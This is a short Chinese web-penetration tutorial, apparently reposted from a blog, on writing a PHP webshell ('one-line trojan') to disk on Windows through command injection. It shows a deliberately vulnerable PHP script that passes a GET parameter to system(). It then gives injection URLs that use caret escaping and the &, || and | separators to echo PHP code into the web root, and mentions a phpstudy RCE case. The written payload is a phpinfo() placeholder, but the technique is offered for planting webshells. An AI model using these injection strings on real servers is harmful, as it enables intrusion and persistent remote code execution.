windows环境下写入一句话木马的转义问题

windows下,对尖括号<>需要使用^进行转义。

在cmd里,输入 echo ^<?php phpinfo();?^>>a.php 可以写入一句话木马

在web渗透中,经常需要写一句话,这里以简单的命令执行为例

1.php内容如下:

<?php
 $d = $_GET['date'];
 system("echo ".$d);
?>

如果在浏览器里写,还需注意问号的转义。

http://localhost/1.php?date=^<^?php phpinfo();^?^> >b.php 

以上的语句即可写入一句话。

如果用管道符会怎样呢?

Windows
“|”:直接执行后面的语句。如:ping 127.0.0.1|whoami
“||”:如果前面执行的语句出错则执行后面的语句,前面的语句只能为假 如:ping 2 || whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0.0.1&whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

使用&:

http://localhost/1.php?date=1%26echo ^<^?php phpinfo();^?^> >c.php    //此处需要把&转义。 成功写入

使用||:

http://localhost/1.php?date=<a.a||echo ^<^?php phpinfo();^?^> >c.php   //因为没有a.a文件,所以前面语句会出错

使用|:

反正是各种不成功,本次cmd测试如下:

 貌似是把>当文件名来处理了。

 这里以phpstudy的rce漏洞举例:

echo ^<?php phpinfo();?^>>PHPTutorialWWWa.php   //务必注意路径

原文地址:https://www.cnblogs.com/b1gstar/p/13973324.html